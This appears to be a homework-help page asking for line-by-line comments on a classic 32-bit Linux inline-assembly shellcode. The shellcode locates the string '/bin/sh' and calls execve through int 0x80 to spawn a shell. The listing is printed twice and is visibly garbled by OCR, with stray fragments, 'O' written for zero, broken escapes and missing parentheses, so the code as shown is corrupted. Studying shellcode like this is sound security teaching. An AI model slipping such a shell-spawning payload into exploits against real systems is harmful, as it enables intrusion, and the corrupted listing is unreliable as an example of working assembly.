Question: Add comments to each line and explain its semantics in the context of the shellcode. II 11 II 10 II 1 int 2 main (void)

Add comments to each line and explain its semantics in the

Add comments to each line and explain its semantics in the context of the shellcode.

II 11 II 10 II 1 int 2 main (void) 3 { 4 5 asm__ ( 6 "jmp ahead " 7 "back: " 8 popl %ebx " 9 movl %ebx , 0x8%ebx) " xorl %eax , %eaxn" 11 movb %al, Ox7(%ebx) " movl %eax, Oxc%ebx) " 13 movl %eax, %edxIn" movl $0xb, %eax In" 15 movl Oxc%ebx). %ecxin" 16 int $0x80 " 17 "ahead: " 18 call back " 19 .string "/bin/sh" 20 ); 21 } 12 II 11 14 II 1 II 11 11 11 II 11 II 10 II 1 int 2 main (void) 3 { 4 5 asm__ ( 6 "jmp ahead " 7 "back: " 8 popl %ebx " 9 movl %ebx , 0x8%ebx) " xorl %eax , %eaxn" 11 movb %al, Ox7(%ebx) " movl %eax, Oxc%ebx) " 13 movl %eax, %edxIn" movl $0xb, %eax In" 15 movl Oxc%ebx). %ecxin" 16 int $0x80 " 17 "ahead: " 18 call back " 19 .string "/bin/sh" 20 ); 21 } 12 II 11 14 II 1 II 11 11 11

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